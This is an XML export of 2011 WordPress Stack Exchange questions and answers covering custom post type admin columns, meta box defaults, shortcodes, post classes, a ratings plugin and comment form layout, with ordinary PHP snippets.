  <row Id="23247" PostTypeId="1" AcceptedAnswerId="23250" CreationDate="2011-07-17T18:55:28.510" Score="0" ViewCount="43" Body="&lt;p&gt;So I have created a custom post type with custom values and customize my custom post type admin columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can see &lt;a href=&quot;http://i.stack.imgur.com/ySMtf.png&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; how my custom post type is looking in admin panel.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as you can see I can order by title all posts and I was wondering if I could do same for all columns, like &quot;info&quot; etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this code, to display columns like I wanna :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//display catalog products in nice list&#xA;add_action(&quot;manage_posts_custom_column&quot;,  &quot;catalog_custom_columns&quot;);&#xA;add_filter(&quot;manage_edit-catalog_columns&quot;, &quot;catalog_edit_columns&quot;);&#xA;&#xA;function catalog_edit_columns($columns){&#xA;  $columns = array(&#xA;    &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type=\&quot;checkbox\&quot; /&amp;gt;&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Product Title&quot;,&#xA;    &quot;description&quot; =&amp;gt; &quot;Info&quot;,&#xA;    &quot;skills&quot; =&amp;gt; &quot;Category&quot;,&#xA;     &quot;year&quot; =&amp;gt; &quot;Price&quot;,&#xA;&#xA;  );&#xA;&#xA;  return $columns;&#xA;}&#xA;&#xA;&#xA;&#xA;function catalog_custom_columns($column){&#xA;  global $post;&#xA;&#xA;  switch ($column) {&#xA;    case &quot;description&quot;:&#xA;      the_content();&#xA;      break;&#xA;     case &quot;skills&quot;:&#xA;      echo get_the_term_list($post-&amp;gt;ID, 'atrakcijas', '', ', ','');&#xA;      break;&#xA;    case &quot;year&quot;:&#xA;      $custom = get_post_custom();&#xA;      echo $custom[&quot;product_price&quot;][0]; ?&amp;gt;Ls&amp;lt;?php&#xA;      break;&#xA;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2011-07-17T19:34:19.070" Title="Custom post type - columns order" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="23248" PostTypeId="2" ParentId="23239" CreationDate="2011-07-17T19:03:04.283" Score="0" ViewCount="" Body="&lt;p&gt;Two angles of approach:&#xA;1) More user friendly: would be to make a meta box for these custom fields. Your meta box for these custom fields would contain the &lt;code&gt;&amp;lt;input /&amp;gt;&lt;/code&gt; elements - you can then put a default value in these, which when the post is saved will be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;add_meta_box&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) At minimum, you can hook onto the 'save_post' action, and check if there's a value, and if not store that as the meta value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'myplugin_save_postdata' );&#xA;&#xA;function myplugin_save_postdata($post_id)&#xA;{&#xA;  // verify if this is an auto save routine. &#xA;  // If it is our form has not been submitted, so we dont want to do anything&#xA;  if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;      return;&#xA;&#xA;  // Check permissions&#xA;  if ( 'page' == $_POST['post_type'] ) &#xA;  {&#xA;    if ( !current_user_can( 'edit_page', $post_id ) )&#xA;        return;&#xA;  }&#xA;  else&#xA;  {&#xA;     if ( !current_user_can( 'edit_post', $post_id ) )&#xA;        return;&#xA;  }&#xA;&#xA;  // OK, we're authenticated: we need to find and save the data&#xA;&#xA;  $mydata = $_POST['myplugin_new_field'];&#xA;&#xA;  if (!$mydata)&#xA;  {&#xA;    // add default value&#xA;    $mydata = 'a default value;&#xA;  }&#xA;&#xA;  // save the data&#xA;  update_post_meta($post_id, 'my_meta_field', $mydata);&#xA;&#xA;  return $mydata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="798" LastActivityDate="2011-07-17T19:03:04.283" CommentCount="1" />
  <row Id="23249" PostTypeId="2" ParentId="23245" CreationDate="2011-07-17T19:20:46.497" Score="0" ViewCount="" Body="&lt;p&gt;The Easiest way to do that would be to use &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;List category posts&lt;/strong&gt;&lt;/a&gt; plugin which allows you to list posts from a category into a post/page using the [catlist] shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also use this shortcode in a simple text widget and add just add :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to your theme's functions.php file, which will tell WordPress to render shortcodes in widgets.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-17T19:20:46.497" />
  <row Id="23250" PostTypeId="2" ParentId="23247" CreationDate="2011-07-17T19:34:19.070" Score="0" ViewCount="" Body="&lt;p&gt;Scribu as written a great detailed tutorial named &quot;&lt;a href=&quot;http://scribu.net/wordpress/custom-sortable-columns.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Create your own sortable columns&lt;/strong&gt;&lt;/a&gt;&quot; just what you need.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-17T19:34:19.070" />
  <row Id="23251" PostTypeId="2" ParentId="23234" CreationDate="2011-07-17T19:42:47.053" Score="2" ViewCount="" Body="&lt;p&gt;Yes at the top of the page click on &quot;Screen Options&quot; then click &lt;strong&gt;&quot;Enable accessibility mode&quot;&lt;/strong&gt;,&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-17T19:42:47.053" />
  <row Id="23252" PostTypeId="2" ParentId="23191" CreationDate="2011-07-17T19:48:57.513" Score="1" ViewCount="" Body="&lt;p&gt;Use, &lt;code&gt;wp_head&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref example: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12299/wordpress-wp-head-crap/12300#12300&quot;&gt;Wordpress wp_head() crap&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-17T19:48:57.513" CommentCount="1" />
  <row Id="23254" PostTypeId="2" ParentId="23244" CreationDate="2011-07-17T20:03:19.963" Score="0" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;author&lt;/code&gt; parameter of &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Author_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a simple function to get you going with a hook to a shortcode and another hook to render this shortcode inside a simple text widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ten_latest_of_contributers($atts = null){&#xA;global $post;&#xA;//store the current post data&#xA;$temp = $post;&#xA;$contributors = get_users(array('role'=&amp;gt; 'contributor'));&#xA;//then create an array of contributors ids&#xA;&#xA;$contributors_ids = array();&#xA;foreach ($contributors as $user) {&#xA;    $contributors_ids[] =  $user-&amp;gt;ID;&#xA;}&#xA;&#xA;//then create a new query and use the author parameter&#xA;$con_query = new WP_Query(array(&#xA;    'author' =&amp;gt; implode( ',', $contributors_ids ),&#xA;    'post_type' =&amp;gt; 'post',&#xA;    'posts_per_page' =&amp;gt; 10));&#xA;&#xA;//all that is left is to loop&#xA;$re = '&amp;lt;ul&amp;gt;';&#xA;while($con_query-&amp;gt;have_posts()){&#xA;    $con_query-&amp;gt;the_post();&#xA;    $re .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;$re .= '&amp;lt;/ul&amp;gt;';&#xA;//reset the current post data&#xA;wp_reset_postdata();&#xA;$post = $temp;&#xA;&#xA;//return the list&#xA;return $re;&#xA;}&#xA;// hook your shortcode&#xA;add_shortcode('ten_latest_con','ten_latest_of_contributers');&#xA;&#xA;//render shortcodes in widgets&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paste this code in your theme's functions.php and then just enter &lt;code&gt;[ten_latest_con]&lt;/code&gt; inside a text widget.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-18T08:22:14.040" LastActivityDate="2011-07-18T08:22:14.040" CommentCount="10" />
  <row Id="23255" PostTypeId="2" ParentId="23239" CreationDate="2011-07-17T20:08:28.340" Score="0" ViewCount="" Body="&lt;p&gt;A simple way to do that would be to use &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Verve Meta Boxes&lt;/strong&gt;&lt;/a&gt; plugin which lets you define a metabox with a simple UI (&lt;strong&gt;no code is needed&lt;/strong&gt;) and you have an options to set the default value for each field.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-17T20:08:28.340" CommentCount="5" />
  <row Id="23256" PostTypeId="2" ParentId="23240" CreationDate="2011-07-17T20:12:19.167" Score="0" ViewCount="" Body="&lt;p&gt;Once again A simple way to do that would be to use &lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Verve Meta Boxes&lt;/strong&gt;&lt;/a&gt; plugin which lets you define a metabox with a simple UI (no code is needed) and you have an options to add upload fields.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-17T20:12:19.167" />
  <row Id="23257" PostTypeId="2" ParentId="23142" CreationDate="2011-07-17T20:12:36.827" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page_num = $paged;&#xA;if ($pagenum='') $pagenum = 1;&#xA;if ($pagenum &amp;gt; 1) { $post_num = 10 } else { $post_num = 5 }&#xA;  query_posts('showposts='.$post_num.'&amp;amp;paged='.$page_num); &#xA;    if (have_posts()) : while (have_posts()) : the_post();&#xA;    endwhile;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-17T20:12:36.827" />
  <row Id="23258" PostTypeId="2" ParentId="23214" CreationDate="2011-07-17T20:17:52.143" Score="0" ViewCount="" Body="&lt;p&gt;check out &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-print-friendly/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Print Friendly&lt;/strong&gt;&lt;/a&gt; plugin which extends WordPress template system to support printer-friendly templates. Works with permalink structures to support nice URLs.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-17T20:17:52.143" />
  <row Id="23259" PostTypeId="1" AcceptedAnswerId="23260" CreationDate="2011-07-17T20:25:18.847" Score="2" ViewCount="96" Body="&lt;p&gt;I am trying to add the parent category class in post_class() of some posts from one of my subcatgories. I have an advanved theme so I need to style all the posts from the parent cateogry using it's class, not the subcategory class (too much hassle in CSS).&lt;/p&gt;&#xA;" OwnerUserId="7097" LastActivityDate="2011-07-18T14:41:43.500" Title="Get parent category class in post_class()" Tags="&lt;css&gt;&lt;post-class&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23260" PostTypeId="2" ParentId="23259" CreationDate="2011-07-17T21:00:39.640" Score="1" ViewCount="" Body="&lt;p&gt;Perhaps something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mytheme_get_post_class_parent_cats() {&#xA;    $parent_cat_classes = array();&#xA;    // Get parent categories&#xA;    $post_cats = wp_get_post_categories();&#xA;    // Loop through post categories&#xA;    foreach ( $post_cats as $post_cat ) {&#xA;        $cat_parents = get_category_parents( $post_cat , false, ',', true );&#xA;        // if there are any parent categories&#xA;        if ( $cat_parents ) {&#xA;            // create an array&#xA;            $cat_array = explode( $cat_parents, ',' );&#xA;            // First key of the array is the top-level category parent&#xA;            $parent_cat_id = $cat_array[0];&#xA;            // Get the name of the top-level parent category&#xA;            $parent_cat = get_cat_name( $parent_cat_id );&#xA;            // create the CSS class .category-parent-{categoryname}&#xA;            $parent_cat_classes[] = 'category-parent-' . $parent_cat;&#xA;        } else {&#xA;            // Otherwise, the category is a top-level cat, so use it&#xA;            $cat_name = get_cat_name( $post_cat );&#xA;            $parent_cat_classes[] = 'category-parent-' . $cat_name;&#xA;        }&#xA;    }&#xA;    // Return CSS class, or false&#xA;    return $parent_cat_classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, when you call &lt;code&gt;post_class()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php post_class( mytheme_get_post_class_parent_cats() ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Codex ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_categories&quot; rel=&quot;nofollow&quot;&gt;wp_get_post_categories()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Codex ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_parents&quot; rel=&quot;nofollow&quot;&gt;get_category_parents()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Codex ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_cat_name&quot; rel=&quot;nofollow&quot;&gt;get_cat_name()&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-17T21:48:58.753" LastActivityDate="2011-07-17T21:48:58.753" CommentCount="7" />
  <row Id="23261" PostTypeId="1" CreationDate="2011-07-17T21:35:30.847" Score="1" ViewCount="31" Body="&lt;p&gt;I'm trying to insert a php code for a post-rating on wordpress.&#xA;It used to work out of the echo normally and in-place.&#xA;Now, using this code, instead of the rating showing up after &quot;User Rating:&quot; it renders completely out of the 'anime-info' div and show up above it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is &quot; . the_ratings() . &quot;&#xA;The full code should be: &#xA;but &quot; . if(function_exists('the_ratings')) { the_ratings() } . &quot; didn't work so I had to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the full code.&#xA;Basically, if the category ID assigned to the current post is 4, it shows this text and an image.&#xA;If it's not, it renders only a image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the plugin I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postratings/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-postratings/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php foreach((get_the_category()) as $category)&#xA;            { if($category-&amp;gt;cat_ID = 4){ echo &quot;&amp;lt;div class='anime-info'&amp;gt;&#xA;                    &amp;lt;div class='anime-inf left'&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Anime Title:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_title', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Creator:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_creator', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Genres:&amp;lt;/b&amp;gt; &quot;.the_tags().&quot; &amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Studio:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_studio', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;First aired at:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_firstaired', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;# of Episodes:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_episodes', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Official Website:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_website', true ).&quot;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;Anime ii Rating:&amp;lt;/b&amp;gt; &quot;.get_post_meta( $post-&amp;gt;ID, 'anime_revrating', true ).&quot;&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt;&#xA;                    &amp;lt;b&amp;gt;User Rating:&amp;lt;/b&amp;gt;&quot; .  the_ratings() . &quot;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class='post-image-inner right'&amp;gt;&#xA;                       img src='&quot;.get_bloginfo( 'template_directory' ).&quot;/timthumb.php?src=&quot;.get_post_meta( $post-&amp;gt;ID, 'image_value', true ).&quot;&amp;amp;amp;w=225&amp;amp;amp;h=246&amp;amp;amp;zc=1' /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&quot;; &#xA;                }else{ echo &quot;&amp;lt;div class='post-image'&amp;gt;&amp;lt;img src='&quot;.get_bloginfo('template_directory').&quot;/timthumb.php?src=&quot;.get_post_meta( $post-&amp;gt;ID, 'image_value', true ).&quot;&amp;amp;amp;w=529&amp;amp;amp;h=253&amp;amp;amp;zc=1' /&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;                                    }&#xA;                                }&#xA;                        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7100" LastActivityDate="2011-07-17T22:03:03.570" Title="Wordpress: PHP code rendering in the wrong place" Tags="&lt;plugins&gt;&lt;php&gt;&lt;plugin-wp-postratings&gt;" AnswerCount="2" />
  <row Id="23263" PostTypeId="1" CreationDate="2011-07-17T21:46:10.443" Score="2" ViewCount="50" Body="&lt;p&gt;Anyone know of a plugin that adds syntax highlighting to the post/page HTML editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks-&lt;/p&gt;&#xA;" OwnerUserId="4197" LastEditorUserId="4197" LastEditorDisplayName="" LastEditDate="2011-07-17T22:01:21.197" LastActivityDate="2011-07-19T02:20:25.980" Title="Syntax highlighting for post/page editor" Tags="&lt;plugins&gt;&lt;post-editor&gt;&lt;syntax-highlighting&gt;&lt;plugin-syntaxhighlighter&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="23264" PostTypeId="2" ParentId="22980" CreationDate="2011-07-17T21:53:16.453" Score="-1" ViewCount="" Body="&lt;p&gt;According to your original question, &quot;If you are logged in, you would see 3 comments. If you are not logged in, nothing but the form.... It appears that the &quot;have_comments&quot; conditional is failing for logged out users.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is your intention to show comments for all users, both logged in and out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want comments to show for logged out users, then you need to remove this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( post_password_required() ) : ?&amp;gt;&#xA;            &amp;lt;p class=&quot;nopassword&quot;&amp;gt;&amp;lt;?php _e( 'This post is password protected. Enter the password to view any comments.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #comments --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-17T21:53:16.453" CommentCount="4" />
  <row Id="23265" PostTypeId="1" CreationDate="2011-07-17T21:54:00.170" Score="0" ViewCount="24" Body="&lt;p&gt;I'm working on a custom template that's going to contain two products tables, Table &quot;Rock&quot; and Table &quot;Pop&quot;, now each of these tables has several subcategories and each product contains three metaboxes (stock available, name and ID),...the problem is that I don't know if querying the db for each subcategory is the wisest thing ever. How would you guys do this, considering everything is going to be displayed in the same page, on two tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;I don't seem to be able to query anything at all right now... I'm trying with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $feed = query_posts(&quot;cat=16&amp;amp;order=DESC&quot;); ?&amp;gt;&#xA;              &amp;lt;div id=&quot;general&quot; &amp;gt;&#xA;              &amp;lt;table&amp;gt;&#xA;                  &amp;lt;caption&amp;gt;ROCK&amp;lt;/caption&amp;gt;&#xA;                  &amp;lt;thead&amp;gt;&#xA;                      &amp;lt;th&amp;gt;Id&amp;lt;/th&amp;gt;&#xA;                      &amp;lt;th&amp;gt;Name of Album&amp;lt;/th&amp;gt;&#xA;                      &amp;lt;th&amp;gt;Stock&amp;lt;/th&amp;gt;&#xA;                  &amp;lt;/thead&amp;gt;&#xA;                  &amp;lt;tbody&amp;gt;&#xA;                  &amp;lt;?php while(have_posts()) : ?&amp;gt;&#xA;                  &amp;lt;?php the_post();?&amp;gt;&#xA;                  &amp;lt;tr&amp;gt;&#xA;                      &amp;lt;td&amp;gt;&amp;lt;?= get_post_custom_values('stock_id'); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                      &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                      &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                  &amp;lt;/tr&amp;gt;&#xA;                  &amp;lt;?php endwhile; ?&amp;gt;&#xA;                  &amp;lt;/tbody&amp;gt;&#xA;              &amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's actually not really working...any clues?&lt;/p&gt;&#xA;" OwnerUserId="5057" LastEditorUserId="5057" LastEditorDisplayName="" LastEditDate="2011-07-18T00:15:56.717" LastActivityDate="2011-07-18T00:15:56.717" Title="need a little help with queries in custom template" Tags="&lt;query-posts&gt;&lt;wp-query&gt;" CommentCount="6" />
  <row Id="23266" PostTypeId="2" ParentId="23261" CreationDate="2011-07-17T21:58:44.773" Score="1" ViewCount="" Body="&lt;p&gt;It's because you're echoing a function that itself echoes a value. The function has a display parameter that you have to set to &lt;code&gt;false&lt;/code&gt; if you want it to &lt;code&gt;return&lt;/code&gt; it's value to use it that way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_ratings($start_tag = 'div', $custom_id = 0, $display = true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($category-&amp;gt;cat_ID = 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($category-&amp;gt;cat_ID == 4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-17T21:58:44.773" CommentCount="2" />
  <row Id="23267" PostTypeId="2" ParentId="23261" CreationDate="2011-07-17T22:03:03.570" Score="0" ViewCount="" Body="&lt;p&gt;Just the_rating() will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without looking at your generated page, not sure if it's styling problem. Make sure that this foreach code block is placed within &lt;code&gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-17T22:03:03.570" />
  <row Id="23268" PostTypeId="1" CreationDate="2011-07-17T22:05:04.757" Score="0" ViewCount="19" Body="&lt;p&gt;I'm building a database of cities as a part of a &quot;location&quot; taxonomy. In order for the terms to render, as far as I've found, they need to have some type of content associated with them. My work-around is to create a &quot;placeholder&quot; post, assign it to the respective terms, then move it to the trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, first, if you have any suggestions for a &lt;em&gt;better&lt;/em&gt; way to get the terms to display &lt;em&gt;without&lt;/em&gt; yet having content associated with them, please let me know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, what's the best way to bulk assign terms to a custom post?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-08-17T01:25:42.687" Title="How do I assign a custom post to all terms in a custom taxonomy?" Tags="&lt;terms&gt;&lt;bulk&gt;" AnswerCount="1" />
  <row Id="23269" PostTypeId="2" ParentId="23263" CreationDate="2011-07-17T22:55:17.900" Score="0" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://wordpress.org/extend/plugins/power-code-editor/&quot; rel=&quot;nofollow&quot;&gt;Power Code Editor&lt;/a&gt; in the past it has syntax highlighting. It's been awhile since I've used it, but it seemed to work fine then.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-17T22:55:17.900" />
  <row Id="23270" PostTypeId="2" ParentId="23263" CreationDate="2011-07-17T23:31:16.887" Score="2" ViewCount="" Body="&lt;p&gt;I am using SyntaxHighlighter Evolved by Viper007Bond, works great!&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I gave this answer yesterday, I read a recent post by Konstantin Kovshenin over at theme.fm, which gives you all the different possibilities on how to add syntax into your Posts/Pages: &lt;a href=&quot;http://theme.fm/2011/07/working-with-code-in-wordpress-posts-985/&quot; rel=&quot;nofollow&quot;&gt;http://theme.fm/2011/07/working-with-code-in-wordpress-posts-985/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="2015" LastEditorDisplayName="" LastEditDate="2011-07-19T02:20:25.980" LastActivityDate="2011-07-19T02:20:25.980" />
  <row Id="23271" PostTypeId="2" ParentId="23268" CreationDate="2011-07-17T23:57:33.817" Score="0" ViewCount="" Body="&lt;p&gt;With functions like get_terms, there is an argument hide_empty that will allow terms without associated posts to be shown. Set hide_empty to 0 and you will see your terms. &lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-17T23:57:33.817" />
  <row Id="23272" PostTypeId="1" CreationDate="2011-07-18T00:31:58.260" Score="0" ViewCount="23" Body="&lt;p&gt;I have a list of 350 or so terms that I am trying to set to a post. Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'add_cities_to_story');&#xA;function add_cities_to_story() { &#xA;    $cities_list = get_term_children('115', 'location'); // MA&#xA;    wp_set_object_terms('632', $cities_list, 'location'); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trouble is that it appears to timeout about 3/4 of the way through the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any ideas how to bulk &lt;em&gt;remove&lt;/em&gt; the tags from a post? :)&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-08-17T13:25:55.783" Title="wp_set_object_terms timing out?" Tags="&lt;terms&gt;&lt;bulk&gt;&lt;wp-set-object-terms&gt;" AnswerCount="1" />
  <row Id="23273" PostTypeId="1" CreationDate="2011-07-18T00:38:27.200" Score="1" ViewCount="83" Body="&lt;p&gt;How would I move elements of the WordPress comment form, which is called in comments.php with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php comment_form(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For instance, I'd like to wrap &lt;code&gt;cancel_comment_reply_link&lt;/code&gt; in h4 tags and place it below &lt;code&gt;get_post_reply_link&lt;/code&gt;. But I don't see any way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Formerly, all the code for the comment form was there in &lt;code&gt;comments.php&lt;/code&gt;. You could easily move the elements around and place them where you wanted. Now, all of those elements are buried as functions in &lt;code&gt;comments-template.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has someone created a function and callback, similar to the one that exists for &lt;code&gt;wp_list_comments&lt;/code&gt;, that provides access to the elements of the comment form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, we might more easily edit the code to move links, labels and fields.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditorDisplayName="" LastEditDate="2011-07-19T08:05:07.580" LastActivityDate="2011-08-18T23:26:46.720" Title="Changing position of cancel_comment_reply_link and other elements of comment form" Tags="&lt;comments&gt;&lt;comment-form&gt;" AnswerCount="1" />
